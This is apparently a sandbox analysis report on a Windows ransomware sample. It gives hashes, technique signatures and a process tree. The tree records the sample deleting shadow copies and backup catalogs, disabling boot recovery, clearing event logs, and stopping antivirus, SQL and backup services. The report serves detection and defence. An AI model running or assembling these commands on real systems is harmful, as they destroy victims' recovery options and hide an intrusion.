d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
12/08/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe
Size 2.6MB
Sample260812-pg53vsce49
SHA256 d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d
MD5 193964c937493b979b1e9649a83ff000
SHA1 d85a46b51b7cf9fe24783508e0739ccee3cf5874
SHA512 1bfaaade0c7615debfa45fd0f7442f217361c51f4db19e643b967479671bd9ba8713b5cd30f273d687b648eee1c53a7b3636839b10f510027a5519f499edbf67
SSDEEP 49152:yxu/Zqw0/3igJg2S/YubUhbFGpcSr9fXa4kQ67n1q1r8:yxQZT0K6g2S/YuPPKa
TLSH
T125C53A51FED780F1E903193054A7A2BF2B347E094F35DA87EA507F6AE8739E10932259
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution ransomware

Malware Config

Signatures

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
1088	wevtutil.exe
3492	wevtutil.exe
1760	wevtutil.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1320	cmd.exe
3368	cmd.exe
3700	cmd.exe
4516	cmd.exe
2884	cmd.exe
3364	cmd.exe
1016	cmd.exe
1196	cmd.exe
1144	cmd.exe
4256	cmd.exe
704	cmd.exe
1324	cmd.exe
1124	cmd.exe
5036	cmd.exe
4020	cmd.exe
1536	cmd.exe
4320	cmd.exe
4960	cmd.exe
4600	cmd.exe
2044	cmd.exe
4704	cmd.exe
2084	cmd.exe
2420	cmd.exe
2620	cmd.exe
2200	cmd.exe
3372	cmd.exe
3020	cmd.exe
364	cmd.exe
2264	cmd.exe
3744	cmd.exe
4068	cmd.exe
2152	cmd.exe
2744	cmd.exe
4524	cmd.exe
864	cmd.exe
4684	cmd.exe
2656	cmd.exe
4472	cmd.exe
2936	cmd.exe
1524	cmd.exe
2024	cmd.exe
2380	cmd.exe
4432	cmd.exe
2488	cmd.exe
4060	cmd.exe
4144	cmd.exe
1916	cmd.exe
4252	cmd.exe
4252	cmd.exe
3872	cmd.exe
4636	cmd.exe
1512	cmd.exe
2776	cmd.exe
4500	cmd.exe
868	cmd.exe
4572	cmd.exe
4164	cmd.exe
4324	cmd.exe
3412	cmd.exe
4004	cmd.exe
3728	cmd.exe
5008	cmd.exe
4576	cmd.exe
2720	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wevtutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Kills process with taskkill 28 IoCs

defense_evasion

pid	Process
1956	taskkill.exe
644	taskkill.exe
2176	taskkill.exe
4364	taskkill.exe
1696	taskkill.exe
3468	taskkill.exe
3772	taskkill.exe
3640	taskkill.exe
3596	taskkill.exe
4220	taskkill.exe
4128	taskkill.exe
2712	taskkill.exe
2200	taskkill.exe
2980	taskkill.exe
3292	taskkill.exe
3776	taskkill.exe
4740	taskkill.exe
1156	taskkill.exe
1280	taskkill.exe
3308	taskkill.exe
5084	taskkill.exe
1332	taskkill.exe
4876	taskkill.exe
3036	taskkill.exe
1140	taskkill.exe
4840	taskkill.exe
1496	taskkill.exe
1476	taskkill.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeDebugPrivilege	3292	taskkill.exe
Token: SeSecurityPrivilege	1088	wevtutil.exe
Token: SeBackupPrivilege	1088	wevtutil.exe
Token: SeSecurityPrivilege	3492	wevtutil.exe
Token: SeBackupPrivilege	3492	wevtutil.exe
Token: SeDebugPrivilege	3640	taskkill.exe
Token: SeDebugPrivilege	3308	taskkill.exe
Token: SeDebugPrivilege	1476	taskkill.exe
Token: SeDebugPrivilege	5084	taskkill.exe
Token: SeDebugPrivilege	1956	taskkill.exe
Token: SeDebugPrivilege	1332	taskkill.exe
Token: SeDebugPrivilege	3776	taskkill.exe
Token: SeDebugPrivilege	4876	taskkill.exe
Token: SeDebugPrivilege	3036	taskkill.exe
Token: SeDebugPrivilege	3596	taskkill.exe
Token: SeDebugPrivilege	1140	taskkill.exe
Token: SeDebugPrivilege	4220	taskkill.exe
Token: SeDebugPrivilege	4840	taskkill.exe
Token: SeDebugPrivilege	4740	taskkill.exe
Token: SeDebugPrivilege	4128	taskkill.exe
Token: SeDebugPrivilege	1496	taskkill.exe
Token: SeDebugPrivilege	644	taskkill.exe
Token: SeDebugPrivilege	2176	taskkill.exe
Token: SeDebugPrivilege	4364	taskkill.exe
Token: SeDebugPrivilege	2712	taskkill.exe
Token: SeDebugPrivilege	1696	taskkill.exe
Token: SeDebugPrivilege	1156	taskkill.exe
Token: SeSecurityPrivilege	1760	wevtutil.exe
Token: SeBackupPrivilege	1760	wevtutil.exe
Token: SeDebugPrivilege	2200	taskkill.exe
Token: SeDebugPrivilege	3468	taskkill.exe
Token: SeDebugPrivilege	2980	taskkill.exe
Token: SeDebugPrivilege	3772	taskkill.exe
Token: SeDebugPrivilege	1280	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1896 wrote to memory of 4472	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	86
PID 1896 wrote to memory of 2936	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	87
PID 1896 wrote to memory of 4004	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	88
PID 1896 wrote to memory of 3988	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	89
PID 3988 wrote to memory of 3292	3988	cmd.exe	90
PID 1896 wrote to memory of 4020	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	91
PID 1896 wrote to memory of 3728	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	92
PID 1896 wrote to memory of 1144	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	93
PID 1896 wrote to memory of 2044	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	95
PID 1896 wrote to memory of 1320	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	96
PID 1896 wrote to memory of 4256	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	97
PID 1896 wrote to memory of 2204	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	98
PID 1896 wrote to memory of 3368	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	99
PID 1896 wrote to memory of 704	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	100
PID 1896 wrote to memory of 2200	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	241
PID 1896 wrote to memory of 1756	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	102
PID 1896 wrote to memory of 3792	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	103
PID 1896 wrote to memory of 3700	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	104
PID 1896 wrote to memory of 4572	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	105
PID 1896 wrote to memory of 4164	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	106
PID 1896 wrote to memory of 1524	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	107
PID 1896 wrote to memory of 3016	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	242
PID 1896 wrote to memory of 4252	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	195
PID 1896 wrote to memory of 4704	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	110
PID 1524 wrote to memory of 1088	1524	cmd.exe	111
PID 1896 wrote to memory of 4516	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	112
PID 1896 wrote to memory of 1536	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	113
PID 1896 wrote to memory of 5060	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	114
PID 1896 wrote to memory of 4876	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	204
PID 1896 wrote to memory of 1324	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	116
PID 1896 wrote to memory of 4320	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	117
PID 1896 wrote to memory of 3372	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	118
PID 1536 wrote to memory of 3492	1536	cmd.exe	119
PID 1896 wrote to memory of 2776	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	207
PID 3372 wrote to memory of 1592	3372	cmd.exe	121
PID 1896 wrote to memory of 1424	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	122
PID 1592 wrote to memory of 3596	1592	net.exe	208
PID 1896 wrote to memory of 2024	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	124
PID 1896 wrote to memory of 2884	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	125
PID 1896 wrote to memory of 2152	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	126
PID 1896 wrote to memory of 3364	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	127
PID 1896 wrote to memory of 2744	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	128
PID 1896 wrote to memory of 3872	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	129
PID 2024 wrote to memory of 3640	2024	cmd.exe	130
PID 1424 wrote to memory of 3308	1424	cmd.exe	131
PID 2884 wrote to memory of 3832	2884	cmd.exe	132
PID 3832 wrote to memory of 2692	3832	net.exe	245
PID 1896 wrote to memory of 4524	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	134
PID 2152 wrote to memory of 4208	2152	cmd.exe	135
PID 1896 wrote to memory of 4636	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	136
PID 1896 wrote to memory of 2380	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	137
PID 4208 wrote to memory of 3544	4208	net.exe	138
PID 2744 wrote to memory of 1500	2744	cmd.exe	139
PID 3364 wrote to memory of 3344	3364	cmd.exe	140
PID 1896 wrote to memory of 5008	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	141
PID 1500 wrote to memory of 1800	1500	net.exe	143
PID 1896 wrote to memory of 3020	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	144
PID 3344 wrote to memory of 1692	3344	net.exe	145
PID 3872 wrote to memory of 4072	3872	cmd.exe	146
PID 1896 wrote to memory of 2232	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	147
PID 4072 wrote to memory of 4056	4072	net.exe	148
PID 1896 wrote to memory of 4144	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	149
PID 4524 wrote to memory of 3436	4524	cmd.exe	150
PID 1896 wrote to memory of 4176	1896	d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe	151

C:\Users\Admin\AppData\Local\Temp\d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe
"C:\Users\Admin\AppData\Local\Temp\d6c1d2e77ce21d5a026e7abf99c9fffe55d87b282f460dc737da231211a12a0d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1896
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=G: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:4472
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=Z: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2936
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=I: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:4004
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Sqbcoreservice.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3988
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Sqbcoreservice.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3292
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=J: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:4020
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=L: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3728
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=M: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:1144
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=Q: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2044
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=T: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:1320
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=V: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:4256
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=W: /on=C: /maxsize=401MB"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2204
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=N: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3368
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=S: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:704
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=Y: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2200
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB"
  2⤵
  PID:1756
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3792
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=R: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:3700
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wbadmin DELETE SYSTEMSTATEBACKUP"
  2⤵
  - Executes a command shell one-liner
  PID:4572
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=U: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:4164
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wevtutil cl application"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil cl application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1088
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin delete shadows /all /quiet"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "bcdedit /set {default} recoveryenabled No"
  2⤵
  - Executes a command shell one-liner
  PID:4252
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wbadmin delete catalog -quiet"
  2⤵
  - Executes a command shell one-liner
  PID:4704
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest"
  2⤵
  - Executes a command shell one-liner
  PID:4516
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "wevtutil cl system"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil cl system
    3⤵
    - Clears Windows event logs
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3492
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=B: /on=C: /maxsize=401MB"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5060
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4876
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=A: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:1324
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=E: /on=C: /maxsize=401MB"
  2⤵
  - Executes a command shell one-liner
  PID:4320
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Avast Antivirus! /y"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\SysWOW64\net.exe
    net stop Avast Antivirus! /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1592
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Avast Antivirus! /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3596
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "vssadmin resize shadowstorage /for=D: /on=C: /maxsize=401MB"
  2⤵
  PID:2776
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Winword.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1424
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Winword.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3308
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "taskkill /f /im Steam.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2024
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Steam.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3640
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Sql /y"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\SysWOW64\net.exe
    net stop Sql /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3832
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Sql /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2692
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop AOTAgentSvc /y"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\SysWOW64\net.exe
    net stop AOTAgentSvc /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4208
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop AOTAgentSvc /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3544
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop GxCVD /y"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3364
- - C:\Windows\SysWOW64\net.exe
    net stop GxCVD /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3344
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop GxCVD /y
      4⤵
      PID:1692
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop BackupExecAgentBrowser /y"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\SysWOW64\net.exe
    net stop BackupExecAgentBrowser /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:1800
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop Trend Micro /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3872
- - C:\Windows\SysWOW64\net.exe
    net stop Trend Micro /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4072
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Trend Micro /y
      4⤵
      PID:4056
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "net stop TmWSCSvc /y"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\SysWOW64\net.exe
    net stop TmWSCSvc /y
    3⤵
    PID:3436
